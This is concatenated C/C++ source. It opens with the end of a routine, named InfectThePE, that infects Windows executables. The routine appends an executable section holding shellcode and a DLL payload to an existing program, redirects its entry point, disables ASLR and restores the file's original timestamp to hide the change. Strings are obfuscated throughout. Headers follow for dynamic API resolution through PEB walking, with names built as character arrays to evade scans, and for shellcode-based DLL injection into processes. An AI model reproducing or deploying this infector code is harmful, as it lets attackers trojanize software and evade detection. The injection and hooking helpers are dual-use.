PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
std::cout << EC("CK 4") << std::endl;
// Append section header to exe
size_t align = sizeof(size_t) > 4 ? 0x10000 : 0x1000;
size_t padding = _sectpaddingsize(mempe_exe, mempe_dll, align);
secth.Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
secth.Misc.VirtualSize = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
secth.SizeOfRawData = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
strcpy((char*)secth.Name, datanam.c_str());
winpe_noaslr(mempe_exe);
winpe_appendsecth(mempe_exe, &secth);
std::cout << EC("CK 5") << std::endl;
// Adjust DLL addr and append shellcode, IAT bind is in running
size_t shellcoderva = secth.VirtualAddress;
size_t dllrva = shellcoderva + SHELLCODE_SIZE + padding;
DWORD orgdlloeprva = winpe_oepval(mempe_dll, 0); // Origin orgdlloeprva
DWORD orgexeoeprva = winpe_oepval(mempe_exe, secth.VirtualAddress);
_makeoepcode(shellcode, shellcoderva, dllrva, orgexeoeprva, orgdlloeprva);
std::cout << EC("CK 6") << std::endl;
// Open the existing file in read-write mode
FILE* fp = fopen(exepath, EC("rb+"));
if (!fp) {
std::cerr << EC("Failed to open file for writing: ") << exepath << std::endl;
if (mempe_exe) free(mempe_exe);
return -1;
}
std::cout << EC("CK 7") << std::endl;
// Write the modified memory back to the file
fseek(fp, 0, SEEK_SET);
fwrite(mempe_exe, 1, mempe_exesize, fp);
fwrite(shellcode, 1, SHELLCODE_SIZE, fp);
for (size_t i = 0; i < padding; i++) fputc(0x0, fp);
fwrite(mempe_dll, 1, mempe_dllsize, fp);
fclose(fp);
std::cout << EC("CK 8") << std::endl;
if (mempe_exe) free(mempe_exe);
fs::last_write_time(exepath, original_time);
return 0;
}
std::time_t to_time_t(const fs::file_time_type& ftime) {
auto sctp = std::chrono::time_point_cast<std::chrono::system_clock::duration>(
ftime - fs::file_time_type::clock::now() + std::chrono::system_clock::now()
);
return std::chrono::system_clock::to_time_t(sctp);
}
void InjectDLLWithSEH(const char* exepat)
{
__try
{
injectdll_mem(exepat);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
// Handle the exception (if needed)
}
}
void InfectINIT(std::vector<uint8_t> biit, string idey)
{
pyldyy.clear();
datanam = EC(".rcdata") + idey;
pyldyy = biit;
}
void InfectThePE(string exepat)
{
// Call the SEH-protected function
InjectDLLWithSEH(exepat.c_str());
}
@@ -0,0 +1,613 @@
/** windows api function pointer define,
* functions or macros for dynamic bindings
* v0.1.5, developed by devseed
*
* macros:
* WINDYN_IMPLEMENT, include defines of each function
* WINDYN_SHARED, make function export
* WINDYN_STATIC, make function static
* WINDYN_NOINLINE, don't use inline function
*/
#ifndef _WINDYN_H
#define _WINDYN_H
#define WINDYN_VERSION 150
#ifdef USECOMPAT
#include "commdef_v100.h"
#else
#include "commdef.h"
#endif // USECOMPAT
// define specific macro
#ifdef WINDYN_API
#undef WINDYN_API
#endif
#ifdef WINDYN_API_DEF
#undef WINDYN_API_DEF
#endif
#ifdef WINDYN_API_EXPORT
#undef WINDYN_API_EXPORT
#endif
#ifdef WINDYN_API_INLINE
#undef WINDYN_API_INLINE
#endif
#ifdef WINDYN_STATIC
#define WINDYN_API_DEF static
#else
#define WINDYN_API_DEF extern
#endif // WINDYN_STATIC
#ifdef WINDYN_SHARED
#define WINDYN_API_EXPORT EXPORT
#else
#define WINDYN_API_EXPORT
#endif // WINDYN_SHARED
#ifdef WINDYN_NOINLINE
#define WINDYN_API_INLINE
#else
#define WINDYN_API_INLINE INLINE
#endif // WINDYN_NOINLINE
#define WINDYN_API WINDYN_API_DEF WINDYN_API_EXPORT WINDYN_API_INLINE
#ifdef __cplusplus
extern "C" {
#endif
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
// function pointer declear
typedef HMODULE (WINAPI* PFN_LoadLibraryA)(
LPCSTR lpLibFileName
);
typedef FARPROC (WINAPI* PFN_GetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);
typedef HMODULE (WINAPI *PFN_GetModuleHandleA)(
LPCSTR lpModuleName
);
typedef LPVOID (WINAPI *PFN_VirtualAllocEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *PFN_VirtualFreeEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
typedef BOOL (WINAPI *PFN_VirtualProtectEx)(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef BOOL (WINAPI *PFN_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef HANDLE (WINAPI *PFN_OpenProcess)(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
typedef HANDLE (WINAPI *PFN_GetCurrentProcess)(
VOID
);
typedef BOOL (WINAPI *PFN_ReadProcessMemory)(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead
);
typedef BOOL (WINAPI *PFN_WriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);
typedef HANDLE (WINAPI *PFN_CreateRemoteThread)(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef HANDLE (WINAPI *PFN_GetCurrentThread)(
VOID
);
typedef DWORD (WINAPI *PFN_SuspendThread)(
HANDLE hThread
);
typedef DWORD (WINAPI *PFN_ResumeThread)(
HANDLE hThread
);
typedef BOOL (WINAPI *PFN_GetThreadContext)(
HANDLE hThread,
LPCONTEXT lpContext
);
typedef BOOL (WINAPI *PFN_SetThreadContext)(
HANDLE hThread,
CONST CONTEXT* lpContext
);
typedef DWORD (WINAPI *PFN_WaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
typedef BOOL (WINAPI *PFN_CloseHandle)(
HANDLE hObject
);
typedef HANDLE (WINAPI *PFN_CreateToolhelp32Snapshot)(
DWORD dwFlags,
DWORD th32ProcessID
);
typedef BOOL (WINAPI *PFN_Process32First)(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
typedef BOOL (WINAPI *PFN_Process32Next)(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
typedef NTSTATUS (NTAPI * PFN_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength
);
// util inline functions and macro declear
#define WINDYN_FINDEXP(mempe, funcname, exp)\
{\
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;\
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)\
((uint8_t*)mempe + pDosHeader->e_lfanew);\
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;\
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;\
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptHeader->DataDirectory;\
PIMAGE_DATA_DIRECTORY pExpEntry =\
&pDataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];\
PIMAGE_EXPORT_DIRECTORY pExpDescriptor =\
(PIMAGE_EXPORT_DIRECTORY)((uint8_t*)mempe + pExpEntry->VirtualAddress);\
WORD* ordrva = (WORD*)((uint8_t*)mempe\
+ pExpDescriptor->AddressOfNameOrdinals);\
DWORD* namerva = (DWORD*)((uint8_t*)mempe\
+ pExpDescriptor->AddressOfNames);\
DWORD* funcrva = (DWORD*)((uint8_t*)mempe\
+ pExpDescriptor->AddressOfFunctions);\
if ((size_t)funcname <= MAXWORD)\
{\
WORD ordbase = LOWORD(pExpDescriptor->Base) - 1;\
WORD funcord = LOWORD(funcname);\
exp = (void*)((uint8_t*)mempe + funcrva[ordrva[funcord - ordbase]]);\
}\
else\
{\
for (DWORD i = 0; i < pExpDescriptor->NumberOfNames; i++)\
{\
LPCSTR curname = (LPCSTR)((uint8_t*)mempe + namerva[i]);\
if (inl_stricmp(curname, funcname) == 0)\
{\
exp = (void*)((uint8_t*)mempe + funcrva[ordrva[i]]); \
break;\
}\
}\
}\
}
#define WINDYN_FINDMODULE(peb, modulename, hmod)\
{\
typedef struct _LDR_ENTRY \
{\
LIST_ENTRY InLoadOrderLinks; \
LIST_ENTRY InMemoryOrderLinks;\
LIST_ENTRY InInitializationOrderLinks;\
PVOID DllBase;\
PVOID EntryPoint;\
ULONG SizeOfImage;\
UNICODE_STRING FullDllName;\
UNICODE_STRING BaseDllName;\
ULONG Flags;\
USHORT LoadCount;\
USHORT TlsIndex;\
union\
{\
LIST_ENTRY HashLinks;\
struct\
{\
PVOID SectionPointer;\
ULONG CheckSum;\
};\
};\
ULONG TimeDateStamp;\
} LDR_ENTRY, * PLDR_ENTRY; \
PLDR_ENTRY ldrentry = NULL;\
PPEB_LDR_DATA ldr = NULL;\
if (!peb)\
{\
PTEB teb = NtCurrentTeb();\
if(sizeof(size_t)>4) peb = *(PPEB*)((uint8_t*)teb + 0x60);\
else peb = *(PPEB*)((uint8_t*)teb + 0x30);\
}\
if(sizeof(size_t)>4) ldr = *(PPEB_LDR_DATA*)((uint8_t*)peb + 0x18);\
else ldr = *(PPEB_LDR_DATA*)((uint8_t*)peb + 0xC);\
ldrentry = (PLDR_ENTRY)((size_t)\
ldr->InMemoryOrderModuleList.Flink - 2 * sizeof(size_t));\
if (!modulename)\
{\
hmod = ldrentry->DllBase;\
}\
else\
{\
while (ldrentry->InMemoryOrderLinks.Flink != \
ldr->InMemoryOrderModuleList.Flink)\
{\
PUNICODE_STRING ustr = &ldrentry->FullDllName; \
int i; \
for (i = ustr->Length / 2 - 1; i > 0 && ustr->Buffer[i] != '\\'; i--); \
if (ustr->Buffer[i] == '\\') i++; \
if (inl_stricmp2(modulename, ustr->Buffer + i) == 0)\
{\
hmod = ldrentry->DllBase; \
break; \
}\
ldrentry = (PLDR_ENTRY)((size_t)\
ldrentry->InMemoryOrderLinks.Flink - 2 * sizeof(size_t)); \
}\
}\
}
#define WINDYN_FINDKERNEL32(kernel32)\
{\
PPEB peb = NULL;\
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; \
WINDYN_FINDMODULE(peb, name_kernel32, kernel32);\
}
#define WINDYN_FINDLOADLIBRARYA(kernel32, pfnLoadLibraryA)\
{\
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };\
WINDYN_FINDEXP((void*)kernel32, name_LoadLibraryA, pfnLoadLibraryA);\
}\
#define WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress)\
{\
char name_GetProcAddress[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' }; \
WINDYN_FINDEXP((void*)kernel32, name_GetProcAddress, pfnGetProcAddress);\
}
// winapi inline functions declear
WINDYN_API
HMODULE WINAPI windyn_GetModuleHandleA(
LPCSTR lpModuleName);
WINDYN_API
HMODULE WINAPI windyn_LoadLibraryA(
LPCSTR lpLibFileName);
WINDYN_API
FARPROC WINAPI windyn_GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName);
WINDYN_API
LPVOID WINAPI windyn_VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect);
WINDYN_API
BOOL WINAPI windyn_VirtualFreeEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType);
WINDYN_API
BOOL WINAPI windyn_VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect);
WINDYN_API
BOOL WINAPI windyn_CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
WINDYN_API
HANDLE WINAPI windyn_OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId);
WINDYN_API
HANDLE WINAPI windyn_GetCurrentProcess(
VOID);
WINDYN_API
BOOL WINAPI windyn_ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead);
WINDYN_API
BOOL WINAPI windyn_WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten);
WINDYN_API
HANDLE WINAPI windyn_CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
WINDYN_API
HANDLE WINAPI windyn_GetCurrentThread(
VOID);
WINDYN_API
DWORD WINAPI windyn_SuspendThread(
HANDLE hThread);
WINDYN_API
DWORD WINAPI windyn_ResumeThread(
HANDLE hThread);
WINDYN_API
BOOL WINAPI windyn_GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext);
WINDYN_API
BOOL WINAPI windyn_SetThreadContext(
HANDLE hThread,
CONST CONTEXT* lpContext);
WINDYN_API
DWORD WINAPI windyn_WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds);
WINDYN_API
BOOL WINAPI windyn_CloseHandle(
HANDLE hObject);
WINDYN_API
HANDLE WINAPI windyn_CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID);
WINDYN_API
BOOL WINAPI windyn_Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
WINDYN_API
BOOL WINAPI windyn_Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
#ifdef WINDYN_IMPLEMENTATION
#include <windows.h>
#include <winternl.h>
// util functions
// winapi inline functions define
HMODULE WINAPI windyn_GetModuleHandleA(
LPCSTR lpModuleName)
{
PPEB peb = NULL;
HMODULE hmod = NULL;
WINDYN_FINDMODULE(peb, lpModuleName, hmod);
return hmod;
}
HMODULE WINAPI windyn_LoadLibraryA(
LPCSTR lpLibFileName)
{
HMODULE kernel32 = NULL;
WINDYN_FINDKERNEL32(kernel32);
PFN_LoadLibraryA pfnLoadLibraryA = NULL;
WINDYN_FINDLOADLIBRARYA(kernel32, pfnLoadLibraryA);
return pfnLoadLibraryA(lpLibFileName);
}
FARPROC WINAPI windyn_GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName)
{
HMODULE kernel32 = NULL;
WINDYN_FINDKERNEL32(kernel32);
PFN_GetProcAddress pfnGetProcAddress = NULL;
WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress);
return pfnGetProcAddress(hModule, lpProcName);
}
LPVOID WINAPI windyn_VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect)
{
HMODULE kernel32 = NULL;
WINDYN_FINDKERNEL32(kernel32);
PFN_GetProcAddress pfnGetProcAddress = NULL;
WINDYN_FINDGETPROCADDRESS(kernel32, pfnGetProcAddress);
char name_VirtualAllocEx[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 'E', 'x', '\0'};
PFN_VirtualAllocEx pfnVirtualAllocEx = (PFN_VirtualAllocEx)pfnGetProcAddress(kernel32, name_VirtualAllocEx);
return pfnVirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
}
// todo
BOOL WINAPI windyn_VirtualFreeEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType);
BOOL WINAPI windyn_VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect);
BOOL WINAPI windyn_CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
HANDLE WINAPI windyn_OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId);
HANDLE WINAPI windyn_GetCurrentProcess(
VOID);
BOOL WINAPI windyn_ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesRead);
BOOL WINAPI windyn_WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten);
HANDLE WINAPI windyn_CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
HANDLE WINAPI windyn_GetCurrentThread(
VOID);
DWORD WINAPI windyn_SuspendThread(
HANDLE hThread);
DWORD WINAPI windyn_ResumeThread(
HANDLE hThread);
BOOL WINAPI windyn_GetThreadContext(
HANDLE hThread,
LPCONTEXT lpContext);
BOOL WINAPI windyn_SetThreadContext(
HANDLE hThread,
CONST CONTEXT* lpContext);
DWORD WINAPI windyn_WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds);
BOOL WINAPI windyn_CloseHandle(
HANDLE hObject);
HANDLE WINAPI windyn_CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID);
BOOL WINAPI windyn_Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
BOOL WINAPI windyn_Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe);
#endif // WINDYN_IMPLEMENTATION
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _WINDYN_H
/**
* history
* v0.1, initial version
* v0.1.1, add some function pointer
* v0.1.2, add some inline stdc function
* v0.1.3, add some inline windows api
* v0.1.4, improve macro style
* v0.1.5, seperate some macro to commdef
*/
@@ -0,0 +1,753 @@
/**
* windows dyamic hook util functions wrappers
* v0.3.3, developed by devseed
*
* macros:
* WINHOOK_IMPLEMENT, include defines of each function
* WINHOOK_SHARED, make function export
* WINHOOK_STATIC, make function static
* WINHOOK_NOINLINE, don't use inline function
* WINHOOK_NO3RDLIB, don't use 3rd lib for inlinehook
* WINHOOK_USEDYNBIND, use dynamic binding for winapi api
*/
#ifndef _WINHOOK_H
#define _WINHOOK_H
#define WINHOOK_VERSION 330
#ifdef USECOMPAT
#include "commdef_v100.h"
#else
#include "commdef.h"
#endif // USECOMPAT
// define specific macro
#ifdef WINHOOK_API
#undef WINHOOK_API
#endif
#ifdef WINHOOK_API_DEF
#undef WINHOOK_API_DEF
#endif
#ifdef WINHOOK_API_EXPORT
#undef WINHOOK_API_EXPORT
#endif
#ifdef WINHOOK_API_INLINE
#undef WINHOOK_API_INLINE
#endif
#ifdef WINHOOK_STATIC
#define WINHOOK_API_DEF static
#else
#define WINHOOK_API_DEF extern
#endif // WINHOOK_STATIC
#ifdef WINHOOK_SHARED
#define WINHOOK_API_EXPORT EXPORT
#else
#define WINHOOK_API_EXPORT
#endif // WINHOOK_SHARED
#ifdef WINHOOK_NOINLINE
#define WINHOOK_API_INLINE
#else
#define WINHOOK_API_INLINE INLINE
#endif // WINHOOK_NOINLINE
#define WINHOOK_API WINHOOK_API_DEF WINHOOK_API_EXPORT WINHOOK_API_INLINE
#ifdef __cplusplus
extern "C" {
#endif
#include <windows.h>
/**
* start a exe and inject dll into exe
* @return pid
*/
WINHOOK_API
DWORD winhook_startexeinject(LPCSTR exepath, LPSTR cmdstr, LPCSTR dllpath);
/**
* start a exe by CreateProcess
* @return pid
*/
WINHOOK_API
DWORD winhook_startexe(LPCSTR exepath, LPSTR cmdstr)
{
return winhook_startexeinject(exepath, cmdstr, NULL);
}
/**
* get the process handle by exename
*/
WINHOOK_API
HANDLE winhook_getprocess(LPCWSTR exename);
/**
* get the other process image base
*/
WINHOOK_API
size_t winhook_getimagebase(HANDLE hprocess);
/**
* dynamic inject a dll into a process
*/
WINHOOK_API
BOOL winhook_injectdll(HANDLE hprocess, LPCSTR dllname);
/**
* alloc a console for the program
*/
WINHOOK_API
void winhook_installconsole();
/**
* patch addr by buf with bufsize
*/
WINHOOK_API
BOOL winhook_patchmemoryex(HANDLE hprocess,LPVOID addr, const void* buf, size_t bufsize);
WINHOOK_API
BOOL winhook_patchmemory(LPVOID addr, const void* buf, size_t bufsize)
{
return winhook_patchmemoryex(GetCurrentProcess(), addr, buf, bufsize);
}
/**
* batch patch memories
*/
WINHOOK_API
BOOL winhook_patchmemorysex(HANDLE hprocess,
LPVOID addrs[], void* bufs[], size_t bufsizes[], int n);
WINHOOK_API
BOOL winhook_patchmemorys(LPVOID addrs[], void* bufs[], size_t bufsizes[], int n)
{
return winhook_patchmemorysex(GetCurrentProcess(), addrs, bufs, bufsizes, n);
}
/**
* patch memory with pattern,
* @param pattern
* skip '#' line, + for reative address, then multi byte code (hex)
* 00400000: ff 90
* +3f00: 90 90 90 90
* +3f06: 90; +3f08: 90
* @return patch bytes number, error < 0
*/
WINHOOK_API
int winhook_patchmemorypattern(const char *pattern);
/**
* patch memory with pattern 1337 by x64dbg, use rva
* can use ';' instead of '\r' '\n'
*/
WINHOOK_API
int winhook_patchmemory1337ex(HANDLE hprocess,
const char* pattern, size_t base, BOOL revert);
WINHOOK_API
int winhook_patchmemory1337(const char* pattern, size_t base, BOOL revert)
{
return winhook_patchmemory1337ex(GetCurrentProcess(), pattern, base, revert);
}
/**
* patch memory with pattern ips(International Patching System)
* specifications at https://zerosoft.zophar.net/ips.php
* addr is relative to base, big endian
*/
WINHOOK_API
int winhook_patchmemoryipsex(HANDLE hprocess, const char* pattern, size_t base);
WINHOOK_API
int winhook_patchmemoryips(const char* pattern, size_t base)
{
return winhook_patchmemoryipsex(GetCurrentProcess(), pattern, base);
}
/**
* search the pattern like "ab 12 ?? 34"
* @return the matched address
*/
WINHOOK_API
void* winhook_searchmemory(void* addr, size_t memsize,
const char* pattern, size_t *pmatchsize);
WINHOOK_API
void* winhook_searchmemoryex(HANDLE hprocess,
void* addr, size_t memsize, const char* pattern, size_t* pmatchsize);
/**
* winhook_iathookmodule is for windows dll,
* @param moduleDllName is which dll to hook iat
*/
WINHOOK_API
BOOL winhook_iathookpe(LPCSTR targetDllName, void* mempe, PROC pfnOrg, PROC pfnNew);
WINHOOK_API
BOOL winhook_iathookmodule(LPCSTR targetDllName, LPCSTR moduleDllName, PROC pfnOrg, PROC pfnNew)
{
return winhook_iathookpe(targetDllName, GetModuleHandle(moduleDllName), pfnOrg, pfnNew);
}
/**
* iat dynamiclly hook,
* replace the @param pfgNew with @param pfnOrg function
* @param targetDllName like "user32.dll", "kernel32.dll"
*/
WINHOOK_API
BOOL winhook_iathook(LPCSTR targetDllName, PROC pfnOrg, PROC pfgNew)
{
return winhook_iathookmodule(targetDllName, NULL, pfnOrg, pfgNew);
}
/**
* inline hooks wrapper,
* @param pfnTargets -> @param pfnNews, save origin pointers in @param pfnOlds
* @return: success hook numbers
*/
WINHOOK_API
int winhook_inlinehooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n);
WINHOOK_API
int winhook_inlineunhooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n);
#ifdef WINHOOK_IMPLEMENTATION
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <psapi.h>
#ifdef WINHOOK_USEDYNBIND
#ifndef WINDYN_IMPLEMENTATION
#define WINDYN_IMPLEMENTATION
#endif // WINDYN_IMPLEMENTATION
#ifndef WINDYN_STATIC
#define WINDYN_STATIC
#endif // WINDYN_STATIC
#ifdef USECOMPAT
#include "windyn_v150.h"
#else
#include "windyn.h"
#endif // USECOMPAT
#define strlen inl_strlen
#define _stricmp inl_stricmp
#define _wcsicmp inl_wcsicmp
#define GetModuleHandleA windyn_GetModuleHandleA
#define LoadLibraryA windyn_LoadLibraryA
#define GetProcAddress windyn_GetProcAddress
#define VirtualAllocEx windyn_VirtualAllocEx
#endif // WINHOOK_USEDYNBIND
// loader functions
DWORD winhook_startexeinject(LPCSTR exepath, LPSTR cmdstr, LPCSTR dllpath)
{
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(exepath, cmdstr,NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return 0;
if (dllpath) // inject dll to process
{
size_t n = 0;
HANDLE hprocess = pi.hProcess;
HANDLE hthread = pi.hThread;
LPVOID injectaddr = VirtualAllocEx(hprocess,
0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
size_t oepva = 0;
// prepare shellcode
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(hthread, &context);
#ifdef _WIN64
uint8_t injectcode[] = {0x50,0x53,0x51,0x52,0xe8,0x2d,0x00,0x00,0x00,0x48,0x8d,0x58,0xf7,0x48,0x83,0xec,0x28,0x48,0x8b,0x8b,0x43,0x00,0x00,0x00,0x48,0x8b,0x83,0x4b,0x00,0x00,0x00,0xff,0xd0,0x48,0x83,0xc4,0x28,0x48,0x8b,0x83,0x3b,0x00,0x00,0x00,0x49,0x89,0xc7,0x5a,0x59,0x5b,0x58,0x41,0xff,0xe7,0x48,0x8b,0x04,0x24,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
oepva = context.Rip;
context.Rip = (ULONGLONG)injectaddr;
#else
uint8_t injectcode[] = {0x50,0x53,0xe8,0x1e,0x00,0x00,0x00,0x8d,0x58,0xf9,0x8b,0x83,0x2d,0x00,0x00,0x00,0x50,0x8b,0x83,0x31,0x00,0x00,0x00,0xff,0xd0,0x8b,0x83,0x29,0x00,0x00,0x00,0x89,0xc7,0x5b,0x58,0xff,0xe7,0x8b,0x04,0x24,0xc3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
oepva = context.Eip; // origin eip at RtlUserThreadStart
context.Eip = (DWORD)injectaddr;
#endif
SetThreadContext(hthread, &context);
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0'};
HMODULE kernel32 = GetModuleHandleA(name_kernel32);
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
FARPROC pfnLoadlibraryA = GetProcAddress(kernel32, name_LoadLibraryA);
size_t* pretva = (size_t*)(injectcode
+ sizeof(injectcode) - 3 * sizeof(size_t));
size_t *pdllnameva = (size_t*)(injectcode
+ sizeof(injectcode) - 2 * sizeof(size_t));
size_t* ploadlibraryva = (size_t*)(injectcode
+ sizeof(injectcode) - 1 * sizeof(size_t));
*pretva = (size_t)oepva;
*pdllnameva = (size_t)((size_t)injectaddr + sizeof(injectcode));
*ploadlibraryva = (size_t)pfnLoadlibraryA;
uint8_t* addr = (uint8_t*)injectaddr;
WriteProcessMemory(hprocess, addr,
injectcode, sizeof(injectcode), (SIZE_T*)&n); // copy shellcode
addr += sizeof(injectcode);
WriteProcessMemory(hprocess, addr,
dllpath, strlen(dllpath) + 1, (SIZE_T*)&n); // copy dll name
}
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
return pi.dwProcessId;
}
HANDLE winhook_getprocess(LPCWSTR exename)
{
// Create toolhelp snapshot.
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process;
ZeroMemory(&process, sizeof(process));
process.dwSize = sizeof(process);
// Walkthrough all processes.
if (Process32First(snapshot, &process))
